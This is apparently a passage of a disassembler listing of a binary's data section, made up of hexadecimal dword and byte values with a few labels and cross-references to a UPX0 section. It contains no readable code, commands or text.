dd 0DC854274h, 0CED4E9CFh, 0E6B6A28Dh, 9C83D4EDh, 4AF9803Fh
dd 81177A32h, 663DEE93h, 2F262B15h, 492D4D28h, 63D6696Ch
dd 0B8133163h, 43C65F10h, 3C1CAD34h, 2DCB3AF6h, 0E5AE4372h
dd 3C545C88h, 0AC3FF8B5h, 6301361Eh, 3B6A4183h, 6159AD5h
dd 0ACF35B06h, 52FAC7A0h, 58D482BEh, 25EFF841h, 0A53E46A8h
dd 0D501F27Dh, 0FB8F26B6h, 0B01D3FDh, 27448E23h, 2B0BA236h
dd 1371A4F7h, 0CF0735A6h, 7E9BE53Fh, 149301F3h, 0A42449F5h
dd 55589102h, 4E2B2DEDh, 0EF41D020h, 984989A9h, 648B16FEh
dd 8B3120Ch, 0E8E7472Bh, 0BA5DA12Bh, 5DF97187h, 3DE65375h
dd 1FCFC7CEh, 4E0AAE97h, 61F0CE79h, 5EDF4798h, 8C0559Eh
dd 27318A4Dh, 0B9CE7380h, 90AFA47Eh, 82F0358Ah, 4D317EDBh
dd 38084A7Eh, 0C636FA2Fh, 6ED094C3h, 132A494Bh, 0B9597AF6h
dd 8BA47BBCh, 0D278AB91h, 297BEC71h, 8734F7B7h, 0B799CB9h
dd 0C80BE90Fh, 52937D43h, 789EACBEh, 0F78042EAh, 303978E6h
dd 42557Eh, 19D660D9h, 85D366Bh, 0EB27F500h, 0D6FF94C5h
dd 3D7EA802h, 2F2523E3h, 0F30EB121h, 0EFA91A3Ch, 4434AA3Ch
dd 0F7F9A9C4h, 74B866B1h, 0CEC26248h, 5930F0E0h, 0E225FF08h
dd 456F504Ch, 68632515h, 0D2711028h, 0DF461842h, 42118815h
dd 679CAE3Eh, 67AB7ED7h, 620A24AAh, 0C713D876h, 3788FCBFh
dd 0A2C10E7Fh, 97919E89h, 0E4F92A1Dh, 0EDEF663h, 9D447A5Ch
dd 832F10E1h, 0C5634540h, 3330D9C5h, 0D9FB6735h, 61EBE832h
dd 0A5BFB30h, 6DE32755h, 25978A06h, 2F69386Fh, 0C3EAF60Fh
dd 4384236Ch, 0EE7B9717h, 94D4ABCFh, 2F0688FCh, 0E60F4D04h
dd 0C5AB23DDh, 0DC840863h, 12054E35h, 65C646DAh, 0B2DA2896h
dd 7E320CAEh, 6BE09776h, 16F5999Fh, 0C7EFA523h, 78509F4Dh
dd 849A257Dh, 7CE9A2E0h, 7D13019Ah, 3F925683h, 49EC8701h
dd 85AEA2E5h, 8DE1EB5Eh, 0E1E091AEh, 3BE38CD9h, 190031FFh
dd 87709A05h, 0F44A958Fh, 747F3330h, 0E6465F35h, 7778DA78h
dd 0FFF015Bh, 0E567D369h, 14B2FC8h, 0EE5763F4h, 9F31170Dh
dd 9BF8A72Fh, 76CCB6C8h, 0CB52DCEFh, 480E44A5h, 0E1DF4572h
dd 9C7DB637h, 0A9D7E585h, 4A4E2660h, 9A4F6A56h, 5E82F204h
dd 0FCB47106h, 426A67C8h, 99897302h, 0F21479E0h, 0C1F98998h
dd 0E8A90506h, 6DF12517h, 0A35E776Eh, 60B61E50h, 771B297Ah
dd 4A62E42h, 0D4D1463Fh, 0B93129BAh, 992F51EEh, 47B1B537h
dd 1B433691h, 7FEB6AEBh, 592A1820h, 6912B92Eh, 4F06C1h
dd 0F75049C2h, 0B335992Dh, 34321D48h, 2F29BA3h, 0C0FB5096h
dd 1B30B3BAh, 8B4488BFh, 0D273725h, 0D142FD99h, 0A3794B0Eh
dd 0B397B6B4h, 19C69952h, 0DEAB258h, 0B21CAE4Ch, 2F550B86h
dd 0A5B196CFh, 9DF413A7h
dd 748F5A7Ch, 0EB93038Fh, 64AABCB0h, 1DFB2ED4h, 0F436DD34h
dd 9DCAF3C7h, 0F4ADFBE2h, 0A67D91AAh, 13EC2288h, 0A7ADDE6Fh
dd 98ED4712h, 0ADDFAD6Ah, 3E4EA78Eh, 67445788h, 0A4A70C35h
dd 2F04D361h, 7F4DAA67h, 7C0B7BD7h, 48507D83h, 92E44295h
dd 9432730Eh, 0F5BCCF3h, 8C487822h, 0D1F56376h, 7AFB3504h
dd 0EE8286AEh, 0CE088518h, 71BAAA53h, 0E3E3C49Ch, 0FACDD86Ah
dd 42D3D285h, 7BEE7FDDh, 92FAD1BFh, 0F68324E4h, 0D3291F97h
dd 82E6C5CDh, 0E7550F91h, 96147D62h, 7BF8C2D4h, 0D96307A1h
dd 8868877Eh, 0C8D16093h, 0C0B2B43Fh, 4F7B163Fh, 5A61DCFDh
dd 84C50D66h, 3F0ADDAFh, 0D0B70C31h, 5C322492h, 0FE061DE8h
dd 0E2258087h, 3C6C8C03h, 8992ECBDh, 91DFE631h, 5F31B36Ah
dd 0C7A040C7h, 0A139E1B9h, 9BEE6272h, 0D706F151h, 0BD4DA731h
dd 784D579h, 96268CCBh, 994E4738h, 0A3BD21A5h, 0B0F0470Ch
dd 3F8769C8h, 2278A97Bh, 804370ACh, 58A2929Ah, 341F310Bh
dd 8F085A0Dh, 7BEBDBAEh, 9494A7Dh, 60DFC386h, 0EAEDDDF0h
dd 717298AAh, 8C029E85h, 9D8F065Ah, 43911D83h, 82841F63h
dd 0E2884452h, 7326A01Ah, 0D6FDA35Fh, 6123129Dh, 0C65825A5h
dd 159D2EE9h, 0B79CA6A6h, 0EF398663h, 7A70748Bh, 6AD90516h
dd 1BEDDE91h, 0EA96D9CFh, 0E20340F3h, 5351F614h, 0DA23981Bh
dd 2E7772B4h, 138FF0D0h, 0B1FA4620h, 0A759E1A1h, 0B080897Ch
dd 4A1CA5B0h, 0DFB57761h, 435584F2h, 0F575CB50h, 3A6F8E7Ch
dd 77C28FA8h, 0BE1279BEh, 508F4979h, 88E9C976h, 4F262B7Ch
dd 0F0214D15h, 698EF585h, 5DF6EF14h, 5B9097E1h, 6A9A990Ch
dd 94B2CEE7h
dword_530020 dd 3F82D055h, 0D73F1FA8h, 0D0F921BBh, 82F6C18h, 450679A0h
; DATA XREF: .data:004ED72Co
dd 0A5FE4AE6h, 0F227E3E1h, 212544B5h, 50119480h, 0C76B7534h
dd 0FA263E89h
db 7Ah
byte_53004D db 0B3h, 7Dh, 0DCh ; DATA XREF: .data:off_4ED728o
dd 0DE2803B7h
db 0E1h
byte_530055 db 2Dh, 99h, 0BEh ; DATA XREF: UPX0:off_42BC84o
; UPX0:off_42BC9Co
dd 0F2BC3FE0h, 8B38AF93h, 11EC096Ch, 0C068F512h, 0BB49C514h
dd 78FF9D58h, 235186A6h, 25F04DE4h, 9EAE4D4h, 3F423EB4h
dd 395B32C6h, 7E005160h, 8B64BCACh, 3310BE7h, 0E0373ADh
dd 2C9E606Eh, 1E2F5F9Ch, 4E7A9AA2h, 8659D54Fh, 0C1D095B8h
dd 6474E4D3h, 8F3B2590h, 7282DDFBh, 26494E5Fh, 36DABCC1h
dd 0EC840753h, 0C0B5FD9Bh, 7ACEC65Bh, 0F2FCEDDDh, 27F1C801h
dd 72E615ECh, 0D1054D27h, 0B59361BEh, 0CCC14985h, 1CD89DA5h
dd 4807A512h, 7680843Ch, 0A6EAF00Eh, 0D1B5BD2Bh, 130A0302h
dd 55B64E4Fh, 1B2CE41h, 51274D16h, 0DF584772h, 2A702AFh
dd 0A436646Eh, 6C49EA8Ah, 0AA343968h, 9B2D0721h, 1898A2B0h
dd 7768A2AAh, 0D8FED8A4h, 72DF6666h, 5C99E858h, 155DAA3Ah
dd 7FBFA12Dh, 0A8E8761Eh, 70BB1988h, 1A6E21AEh, 940564A0h
dd 2150A07Fh, 3B998295h, 0ADDC35C0h, 0A898A824h, 0DE629093h
dd 45ED989Ah, 11F9F5C9h, 701AF2F8h, 0C648C2B6h, 0BFEDF33Fh
dd 0B37BE95Eh, 0FC24CD00h, 0F55301E2h, 6F0AD25Eh, 4F7C656Ah
dd 58215A90h, 6A353596h, 0F0FD8F9Bh, 6B5DFFFCh, 211D96EFh
dd 2C6B05D7h, 92765B27h, 0A048AF14h, 54639977h, 8C6FD5D7h
dd 6987753Ch, 88074486h, 0C0E1AD66h, 9375C475h, 0EA4AF917h
dd 196FD8E9h, 17C6CE6Ah, 7F78609Bh, 6EB91548h, 0F5664EBAh
dd 0D1C5E438h, 551EF939h, 201A88FAh, 0E6ABAC79h, 8BAE5CBDh
dd 33B0C206h, 0D0581F0Ch, 922600BFh, 0C3F8CF75h, 0D9DE1444h
dd 0AACEB3C2h, 542E0D9Ah, 0CA8BDBBBh, 3E90E43Fh, 0F4F5CFF9h
dd 95ADF7C6h, 2DA78C6Bh, 0DA68D2C5h, 7E0EFCA7h, 0A8512E89h
dd 7E4BC25Ch, 2E795B19h, 0A361E8F2h, 0D2821EC8h, 0DD971CDCh
dd 5B5B1AC1h, 3822F995h, 407A7F4h, 0E15F28ABh, 1B9E4DFCh
dd 0C7096A4h, 0D11E3E58h, 0C91670C9h, 45946901h, 39668D3Ah
dd 0C2516061h, 0FC09D1B2h, 5355B7E3h, 3E2FDEFFh, 0A9552279h
dd 0FF22FB2Fh, 0F6545FE8h, 3DE4AA8Ch, 895CE740h, 86DCA642h
dd 9E4DA22Ah, 0B7B76242h, 60FA7081h, 5DC3B28Ch, 911A7C3Bh
dd 0A468276Ch, 655358D1h, 0E00983EDh, 0AB0F2B7Dh, 0AC226F47h
dd 0E4412C31h, 1E2E4D02h, 0F64038A4h, 0F21251FEh, 0EF6D33AFh
dd 0C56A8C2Fh, 511F6EA5h, 0D249446Eh, 44815FA2h, 0A289165Bh
dd 0F75AE5F6h, 4B6ECA78h, 0AA8FA42Ch, 3E91CF42h, 0B6C5B123h
dd 0B2EF4210h, 0E9D3E5B9h, 754A95Ch, 152941AEh, 696BE05Bh
dd 8607032h, 0EBA89EA5h, 0D477344h, 9CC82C9Eh, 0A397A9CAh
dd 45322262h, 143E9AACh, 8C6BB683h, 22BF03A9h, 0DAB9DE23h
dd 0AA842082h, 23D096BEh, 0E4B04E44h, 757ACF00h, 9BF4BB65h
dd 69FD2C0Dh, 0B4E18B12h, 87E973BEh, 0A944EC4Fh, 2C5B47CCh
dd 7B5E3446h, 0D919C475h, 0A774C1BAh, 22EE1425h, 4FFEB1B8h
dd 0B60181C7h, 4EE5EAE9h, 86895D3h, 0D0D5D43Ah, 952059B7h
dd 0EE2E3DA5h, 43D814B8h, 2C855D9Ch, 0CCF9C843h, 94FCD3C3h
dd 3A9D6E49h, 0E68D7D46h, 0DCDC1915h, 0D11BDE6Bh, 40C71E7h
dd 1222297Ah, 0F7C5A0F9h, 0BD74EECh, 928DF1EEh, 0AB1F1A9Ch
dd 0A3071DA4h, 8795CFF9h, 3A236C2Dh, 0A4129E19h, 0C80CD86Fh
dd 0C2FAEAC2h, 0F593418Ah, 2136A2E9h, 5D992E13h, 0E1E4C78Bh
dd 4E615419h, 6A2D0912h, 84FE475Ch, 0CA38795Ch, 58E9AED4h
dd 0D32229B5h, 525AEF30h, 0AD2F99DCh, 0D572E764h, 0CF431828h
dd 0E434172Ch, 0CDD853BAh, 2CE3CE83h, 0EC246D1Dh, 49F43277h
dd 0C1DDDFBCh, 6BE60B54h, 7DB2B755h, 1C64D9C2h, 0A4F918h
dd 0E7884374h, 0C49956DCh, 87971BF2h, 0CD67FBBCh, 8F4BF1EAh
dd 0AD436E07h, 0DD394419h, 4A751A31h, 0C7415B3Ah, 90C16F86h
dd 5516D60Eh, 0E37DEBB4h, 0D326690Dh, 0D28CDB38h, 20CEE445h
dd 76CCD049h, 3EB6EA33h, 2F72E2E7h, 9BAA451Bh, 0C8F27D11h
dd 7822D783h, 4D16F906h, 786D5D70h, 90C0540Dh, 2B1A0BD2h
dd 8372B07h, 9D5C686Ch, 5A378077h, 0D7B7B1BEh, 92C48A44h
dd 2BB1E017h, 81D9C01Eh, 74F512Bh, 0FF6F472h, 0A6608E69h
dd 27693459h, 3FE05E5Ch, 0A3BEF38Eh, 10B9FA8Ah, 0E5E47C4Bh
dd 0D1C6664Ah, 0B6068FF3h, 3CC66391h, 75EDCDC8h, 44E70395h
dd 83B35161h, 0A1BF4414h, 791E7BD8h, 0D6786514h, 0DC60731Eh
dd 0A0B02B70h, 77D759D3h, 4EC78882h, 65EFCB3Eh, 0B5EFB703h
dd 0D327A824h, 6CDB5C4Ch, 0D4C2C5BFh, 7FD36D75h, 7DD44EC0h
dd 0A1E3BA29h, 7350C9A9h, 7620CAF5h, 1D8FD259h, 0BB404CB2h
dd 0F1B037D5h, 2C7D2A6h, 1B5997ACh, 19F8E6ADh, 0A30F1398h
dd 3067D1C9h, 5A90AAE2h, 3ED69A5Bh, 0A0DE13FBh, 0F8D1A87Ch
dd 0B6F3D948h, 0DF68E97Ah, 3C61FA78h, 0AB2131C9h, 86F47C37h
dd 2601C1B5h, 6A51EB23h, 990AB824h, 2F527317h, 0ACC34508h
dd 400D4107h, 72422B2Ch, 3FEB3D01h, 0E2D1C0F2h, 953BB6FBh
dd 19D0F879h, 8D5FC029h, 303260C2h, 0C2D1A184h, 4AB63AB7h
dd 0BF6F4C40h, 6D5D9A80h, 0DE2725CDh, 0C991C611h, 8383B004h
dd 0EFC64E0h, 8BC2E82Fh, 0F2D2625Dh, 0D285D63Fh, 1BC82B31h
dd 677037A4h, 8F855988h, 2B7FA747h, 34838EF1h, 0E6684709h
dd 1B21E318h, 0FC0ABC48h, 20BCB438h, 0C0763B3Fh, 20B9E881h
dd 0BA7375A7h, 0D572F632h, 0DEA6FC85h, 0B40FA8A2h, 0A197BD65h
dd 78283234h, 0EAB821C5h, 67D9CB8Ah, 30378550h, 0ADBDF68Dh
dd 0EB0281BEh, 2E483526h, 8570752h, 0AEA839FFh, 0E7D2E6FFh
dd 0C8E93F3h, 713A967Bh, 67A697A8h, 627510AFh, 0AD7DEE2Ah
dd 36A49BF4h, 9CC87CA0h, 0DC71DAD9h, 0AB6FD9C5h, 8C3AC8Ch
dd 38CC6CF7h, 0FB4147DCh, 53993AB3h, 0A706A76Bh, 0F2329966h
dd 53386604h, 660B3AB6h, 0B38AB187h, 85BCB090h, 30CF137Ch
dd 76B9F0FAh, 96656F83h, 3775B87Bh, 8B99F4B1h, 36FB7FE6h
dd 0F85DB03Dh, 88547F02h, 0E2126F4h, 2F2D1E65h, 0A2840103h
dd 2BD7F95h, 0A3ACC03h, 0B3CA2785h, 0D6327A19h, 8B79328h
dd 0B5B448F1h, 5095FAEBh, 88F21A75h, 139A2A0Bh, 984E21ACh
dd 37FE2B5Fh, 0EEF7BE23h, 7B3D6FC1h, 47258A5h, 0D9D77D2Eh
dd 0D1232D6Ch, 4C471BA1h, 0F644179Ah, 0E33619C3h, 0FD3E2E21h
dd 0AB9F593Fh, 8A0289CDh, 99405E81h, 7FA6BAC3h, 0D13D7AD4h
dd 0E3F6955Ah, 0B5F477BBh, 0BBFD5062h, 0F035E58Dh, 0A8DB6456h
dd 0FC8B2474h, 0A9013408h, 0F9A98B63h, 0E74FC9FBh, 132F25DCh
dd 4A82A75Ah, 813B6671h, 69D19CBCh, 0E77B09FEh, 0D5968C31h
dd 80AEF78Dh, 9BBF22Dh, 0E751948Ah, 38B7C616h, 202D6C82h
dd 26AA4B36h, 14852967h, 0E65D758Bh, 90E6F816h, 54B88ECBh
dd 8B5CA9Bh, 0E89C29E4h, 0DCB066B1h, 86EC85E0h, 39DFE95Fh
dd 47EA5949h, 0D53BC55Dh, 0C3317266h, 0D364FAC3h, 0F11B6DB0h
dd 5D81186Ah, 5E079120h, 0C7FD2E78h, 5F9EB3CCh, 0A317D7ECh
dd 740DFEDBh, 5A3FD06Eh, 0C180D25Eh, 0FFBB486Fh, 0B683B298h
dd 59A25EB4h, 2982048Ah, 0B3579DE4h, 64212BF9h, 0C9930C08h
dd 0ED9EA80h, 26C12CB6h, 96B50A4Bh, 0F9D5C9B6h, 0E6B48473h
dd 904B6589h, 2C071885h, 42B59472h, 1CCE9894h, 6AF94A52h
dd 97AF55Eh, 4D55F437h, 0A0DE8A23h, 0F0D759E3h, 0A671D89Dh
dd 20F1B5DCh, 7CBBAC5h, 9D442133h, 2A4BB449h, 0DAE06E0Eh
dd 4E4ACA3Fh, 0C474E8CDh, 63B6C65Fh, 8E1125Ah, 9972AA28h
dd 7B973F80h, 0BDD8C87Dh, 0A75011BBh, 8167A616h, 0F994B61Dh
dd 0A92607Eh, 95DF62Eh
dd 0BECF9ED6h, 0F7930FE0h, 0E952E974h, 67BF170Dh, 61B2A9C7h
dd 232E5DD4h, 0EBF9D3B8h, 0EB01161Bh, 1CE543B7h, 768DFF72h
dd 56E264D6h, 654178FEh, 9AA401E8h, 3551F762h, 0DF349FE6h
dd 47082470h, 0F627B961h, 0A49AE9EDh, 15F7DA3Dh, 469B0B3Ah
dd 0F332254Ah, 60D60D82h, 0ECA41436h, 10EA891Ah, 0EB0BFA37h
dd 756E80EBh, 2F70694h, 0EEA84206h, 0CED20BFBh, 0C521D584h
dd 92D93D16h, 2EE031D3h, 0FD33B0DAh, 379BFAA6h, 0ED65F3A1h
dd 0ABAB19DEh, 0CEF9AE1Eh, 17A4683Dh, 0EFCF3E5Dh, 438E8A4Bh
dd 76FD5D73h, 0C9B08E11h, 0D2FBD30Ch, 898C76EFh, 17429B92h
dd 86AA3E0Eh, 9421619h, 0B2B132A5h, 0A31A2896h, 7FE0868Fh
dd 0B7A92FE1h, 0DCC3C6C3h, 0FA38FB5Ch, 0CC942AE6h, 161551A4h
dd 606DEEFEh, 0A2F443D7h, 0ECF2FE29h, 14838E12h, 0FD5D125Bh
dd 17F551CDh, 8C917625h, 5C190C5Eh, 27993020h, 42626826h
dd 8E2BB816h, 70AC5FA2h, 23D8F13Dh, 718DAF66h, 0AB86A20Eh
dd 73256748h, 4B4331ADh, 0F9B1BCB6h, 0D9DF70F9h, 727CCA2Eh
dd 2686FAA6h, 5ABB0326h, 2F7710h, 8D561C34h, 4307A68Bh
dd 81D18929h, 0AB8510F3h, 0BBA2D1Ch, 0C6B5CA18h, 0AF23C69Eh
dd 2BDD16BCh, 410BE27h, 92650E1Eh, 4E54AC71h, 0FA10A588h
dd 0E991F354h, 9E8834DAh, 55CD65Ah, 90F1566Eh, 2BC61BF6h
dd 6682AD05h, 0E5BBF72h, 98FE9FDEh, 439E69EAh, 2D92F768h
dd 0A7238615h, 0BEA950F1h, 6F8A96D0h, 58CF4D31h, 0FEFF88C4h
dd 3B95C010h, 27C50C0Ch, 7D393ED3h, 0A6FD2077h, 69FA4D76h
dd 1C3EA7C6h, 13F2B8A7h, 7CBC2CB7h, 49B7AACEh, 6E0BFDF9h
dd 0F360DD36h, 92D6410Fh, 0AD654EE7h, 0AA4E84F6h, 21D7E6B9h
dd 2C0E1B1Bh, 0DBB2A3ACh, 291434A6h, 651261FAh, 0F95393D5h
dd 12C66229h, 522BCC95h, 44B7F702h, 9AC170C1h, 0CF400E6Bh
dd 71E70162h, 40D331B5h, 0FA0835D6h, 0C38CDE01h, 386BE649h
dd 0C43A5B20h, 47FB5E09h, 20871E30h, 0C8A576C8h, 4445683h
dd 103EBEE7h, 52EA9808h, 0D6F2F720h, 35FDD74Ch, 0AC97A73Bh
dd 0A6A5B927h, 39947297h, 7BDE21A0h, 4C7163A3h, 0E6769C90h
dd 0AF1AF686h, 0E6DD7A64h, 7EBA56D5h, 0AA57D8C6h, 58B6EBB8h
dd 0FAD76E3Bh, 0D0A647ADh, 0CD36DB3Ch, 45515B03h, 0E79536B4h
dd 4278CBBAh, 3A0AB124h, 24B1E24Bh, 0D7FB54ABh, 28A95B23h
dd 5D3DC5A2h, 56C4F95h, 91ABB312h, 0E77C33B0h, 3FA8BA0h
dd 63A19190h, 0A97CFDB2h, 845D233h, 6FCB9273h, 3E351881h
dd 0F51F5406h, 0B5BEBA05h, 0F71566ECh, 3A2EE44Fh, 719F464Ch
dd 96666A0Ah, 8BAFC64Ah, 0C718D10Ch, 16A749EBh, 0BF9465C6h
dd 93EA121Ch, 0F1015E0Eh, 0CA74744Ch, 0F42D7384h, 0D10FFD77h
dd 5C23D16Eh, 0CF9EACF4h, 5D432162h, 0CE1013Ah, 2EBB2948h
dd 90D33848h, 15788CA9h, 9687E88Eh, 0EA2669B3h, 0BAA4C61Eh
dd 0D6390C56h, 0D75A9AA9h, 0C3317D88h, 71DB6F32h, 6E273A27h
dd 5B350096h, 74443E3h, 0BC9756DCh, 0C84E0F96h, 0AB8770E7h
dd 5100F8D4h, 939E40CBh, 77CFC0EAh, 84FEFA7Ah, 9E54E341h
dd 604E0DE7h, 5A70B344h, 2552501h, 25F3ACD9h, 168E9C4Fh
dd 17ED50B5h, 5E86E017h, 0EB4AF2BBh, 93EC9258h, 0C63DE88Bh
dd 0E40D9D52h, 0ADA17542h, 7F6A25ECh, 0C336FBFCh, 194246AEh
dd 0C7130270h, 68FF3708h, 0BB268104h, 0A3ADC639h, 251E38D2h
dd 76F39A55h, 0B6714705h, 127239F2h, 9E46030Eh, 0ECB8604Fh
dd 0F68C1B33h, 21C56DEEh, 41CEF79Eh, 0AAB8F78Bh, 0B1D98C66h
dd 4B1ED31Dh, 296DB2B0h, 2C4D44E1h, 0C4AA62EBh, 7318656Bh
dd 0D381FC24h, 734D03DBh, 0F2466E06h, 9E1D87ABh, 6D705EEFh
dd 0D3C67A9Ch, 4CADFA48h, 24280165h, 87069B16h, 46E2E1B4h
dd 26F6BA2Ch, 4E7122F1h, 1340C9B0h, 1D5F300Bh, 3C7184CCh
dd 51A13BAAh, 0AB737EC6h, 4E39111Eh, 8E64EDFBh, 39DD536Eh
dd 0A8DB1D7h, 6F866D39h, 0BF429A6Dh, 534C4B29h, 0E57DD04Eh
dd 62986545h, 4EB56770h, 5D1402A6h, 0B2813C6Dh, 0E56A3F6Fh
dd 7C693933h, 147429E4h, 3C7BBA16h, 75A0C403h, 0CAB07FDDh
dd 533C8C38h, 0A1458455h, 0B178B6E3h, 0B187063h, 99446592h
dd 8844B8EEh, 0F7E3A336h, 366A01A3h, 0D5C714C5h, 277F17C2h
dd 89CDFC1Bh, 946E19FCh, 0F1503FACh, 0C8C1A1DDh, 61DB4105h
dd 27B7FB50h, 0AF39B2F8h, 5EF274B2h, 55757C68h, 848CF125h
dd 9DDD1E99h, 36E90C5Bh, 1A16E540h, 3175C31Ah, 27E9F157h
dd 0B4D2DCEh, 0B1F64044h, 766D1964h, 68E6271Ch, 0B43A96E8h
dd 0DD29A03Dh, 1ADCEB77h, 73ED10F9h, 0DF4FF23Eh, 0BCF6CA3Ah
dd 2EF09261h, 0C6090FFEh, 0D9DA9533h, 0EDA0D764h, 0CE5D11D2h
dd 7D4F2627h, 492AC32Eh, 97659C51h, 0B95C167Ch, 716C0348h
dd 0C86CD1EFh, 0EB6F2CF6h, 0DA1399B8h, 0D5091B9Ah, 1DA9D80Eh
dd 9952F087h, 8AD56CE9h, 7D8DBF4Fh, 0AC2138h, 787C9641h
dd 0CA05512Ah, 0E14D1CF2h, 0AAB95070h, 5CB36321h, 0FA2BA201h
dd 7A2C79D1h, 4E1EC07Eh, 0E625615h, 0A87B88E9h, 1129CC75h
dd 93A721F0h, 0BFAD0445h, 8E401617h, 40D49FF7h, 0F68BAF0Dh
dd 0DFB7E55Dh, 0A7FE509Bh, 0C4F88326h, 12E7717Ah, 0E9442402h
dd 344107EBh, 97E5AA08h, 0F88D80BBh, 9FC28F65h, 50F0CF91h
dd 38290C8Fh, 434A1A67h, 50B1CA8Fh, 9FB5FC49h, 41F41353h
dd 7742AD43h, 38376237h, 848A483h, 0CEA410CEh, 0AA2C374Fh
dd 579C715Dh, 0D1565BE9h, 2AED54EDh, 0D8E82BF4h, 0FE551C5Dh
dd 9A487096h, 0CFDFAB1Dh, 0E828F989h, 0C127F726h, 583E50CAh
dd 0F56DCCC5h, 6783D40Bh, 0FCFD97F1h, 38F7B833h, 0E175F1BFh
dd 9EE87BE0h, 0B7FB5E1Eh, 0D1D681DEh, 66AD9180h, 454FBE7Dh
dd 46DA114Ah, 4127CCD0h, 0AB74D0B6h, 7DFCB04Bh, 3B0B959Dh
dd 673DE21Bh, 0F6A36429h, 0EE6629B4h, 5DFD3415h, 0F6F964C6h
dd 0B1942D03h, 4C4E7FF2h, 20EBF396h, 0BD35C382h, 22DE5EBBh
dd 5B207A37h, 564C7DE0h, 0EFEEA613h, 153F6B26h, 96AC79EBh
dd 268DE8D8h, 490B2A9Bh, 9B09E756h, 9B7CF5A4h, 3190FE2Bh
dd 20352DFCh, 0BD78D849h, 0FFF155AEh, 1071A7E7h, 6F1E8294h
dd 617CF41Ah, 3BCF487h, 97F0F0A5h, 0A3749571h, 91B54FE2h
dd 0F67BBFAAh, 37969CF3h, 47620B41h, 6B6A3184h, 34D4AEDDh
dd 84D2FF32h, 95E9B390h, 338F0795h, 0A317E39Bh, 62B1186Eh
dd 35C5B197h, 9A9CDEFFh, 1A4B6428h, 0BE6C8E43h, 81C978F3h
dd 7F8EC57Ch, 763B2980h, 0A8DFF7FDh, 380B5Ch, 0B52834B2h
dd 0F34B11E1h, 0E731F871h, 39FBB51Ah, 6E2D32D7h, 909CCFABh
dd 9F2385DEh, 0CFAC3CB2h, 552FA1A6h, 0F8C88806h, 95C358E7h
dd 8C623DA4h, 4CFFA83Eh, 5693234Eh, 0B4976A87h, 0E3C8DC02h
dd 29CAEDA4h, 4567164Eh, 30218629h, 25C0DEBDh, 61CCE389h
dd 10E536B0h, 37EFFD5Dh, 7361ED52h, 25C85E65h, 198BBFD1h
dd 0FD9EE2ADh, 363CAACh, 1849A939h, 132A9421h, 4E8DBA34h
dd 6340B939h, 0EBFF1B9h, 1FE6FEB7h, 0E062B08Dh, 2FD52D57h
dd 0B79848h, 0E600EA4Bh, 2AF0B915h, 821481DFh, 0F3CDCC5Dh
dd 1C3B52FDh, 0DE77DB40h, 4A295890h, 0EF225F6h, 0A6246A0Eh
dd 0C9696091h, 25761970h, 0ED816041h, 9AE021ABh, 0C7339657h
dd 6EA2B4CBh, 8ADD2673h, 376410BDh, 698F23A0h, 3E3ED057h
dd 455C3C41h, 0D4A830D1h, 21E21E41h, 1405D7A9h, 0EDF83B74h
dd 0D1CE5EC4h, 0A56ED6Ch
dd 7683D35Eh, 892E5E72h, 2C0D1C8Bh, 0BE002B5Bh, 0CFC93A51h
dd 39EB7EF4h, 51942D98h, 66D8ED1Eh, 751964ADh, 0A96613F7h
dd 0DF65EC1Fh, 6C12EFF0h, 0EF86C708h, 34A343DCh, 0CE65AB4h
dd 668362A0h, 3139364Eh, 2213918Fh, 0D3B1B6A4h, 206DAA76h
dd 5CDCF495h, 52D01BECh, 36A823F3h, 6A8F0514h, 0BA6658BCh
dd 3450EF00h, 0E7A5AA58h, 0CD611861h, 84D21C35h, 9F7FAE31h
dd 104FF14h, 0A3AB47EDh, 271B3635h, 0FEF80E3Ch, 0CED19E20h
dd 0BA74D426h, 0D6763E89h, 90730D3Ah, 78B1B620h, 960460ACh
dd 0DCBE33BCh, 0D4842AFAh, 827E9B8Ch, 753F1783h, 0D6FE2A0Eh
dd 87C5374Ah, 57ED3D66h, 0A858797Dh, 0BCF295F3h, 5976FDEBh
dd 0A9723B29h, 0F668DBACh, 56A16478h, 9F5046CEh, 0FC1756ADh
dd 12BF1F3Bh, 0B9443107h, 884B8654h, 7FA88567h, 0AFC14B25h
dd 0AF5C0A85h, 0B5A98707h, 0DBDF173Bh, 0B0C0ADF4h, 53C79631h
dd 476A40FEh, 0AFF83E03h, 0AE33D102h, 1EEBEA92h, 83FCCD0Eh
dd 0A106AB85h, 0A7EB0506h, 0ED20913Dh, 86A3C9C2h, 8335BEFDh
dd 0B9529913h, 0A1BA26F8h, 783A45B2h, 0D6EF3577h, 792D1690h
dd 0C767502Dh, 0A56E5889h, 96542CA6h, 5868AE0Dh, 0C4EEC264h
dd 0CB59CF70h, 3C3467BBh, 5D7F1A62h, 0FBDCABADh, 4BACAF5Ah
dd 0F119F7AAh, 29D4DB17h, 284BA5F4h, 0D3AD7589h, 0FEC69356h
dd 0AB18A2F3h, 24A33404h, 0A0310C70h, 0EA2DF3B0h, 0E653138Dh
dd 0EE310C35h, 0F54FED5Dh, 3EBC1F2Dh, 7049EB94h, 0AFF94ADAh
dd 0CBB46FBAh, 0E7237920h, 64F3E2D0h, 7D2277h, 9AC75736h
dd 8609A3ECh, 604834CBh, 1E5394F5h, 2908F251h, 0F95703E3h
dd 93A3C0E2h, 0E1EA7020h, 2F3EEC5Eh, 876B3C9Ah, 0E993C60Eh
dd 72F8D59Bh, 2600E5D2h, 0AEDBF29Ch, 8B895922h, 0A2309ACAh
dd 0B81BE6ABh, 73555AC7h, 0E2B69B5h, 0C47C4E5Ah, 490A4B53h
dd 0F5AF705Dh, 0C27C3218h, 0E39D2E29h, 0A60CC8D7h, 3C051751h
dd 0EBDF5E7Ch, 0CF12CC9Bh, 0E5F96C21h, 97F4E0Ah, 0BA6D41AAh
dd 7E54D5EEh, 0DD1C0219h, 95190BB9h, 361700A4h, 0DADEC672h
dd 0D9FE3417h, 44540A5h, 95909818h, 3667F1F4h, 1F9EBEE7h
dd 1F138EA9h, 0BC7AD854h, 94297B6Fh, 0BF84FBBFh, 339D8C0Ch
dd 0AA5E0E95h, 90473313h, 1AF33018h, 0A5A4A181h, 0A0845744h
dd 0CBC5BF60h, 16615142h, 7B89CA41h, 7FF3E8B8h, 0DACC649Fh
dd 0AAA5079Fh, 0C85A88B7h, 6F4BA7CFh, 0EA6B0181h, 3C64630Ah
dd 0A650BF75h, 1C2B3FB3h, 85DFEFFCh, 0B3FD0E42h, 0C2928D37h
dd 0C1B56A11h, 0C994E03Fh, 0D2D743Ch, 3123ECD4h, 34EEBA9Eh
dd 0FAD8B9E7h, 0E1140EA8h, 70C1FC56h, 3F540135h, 54D29862h
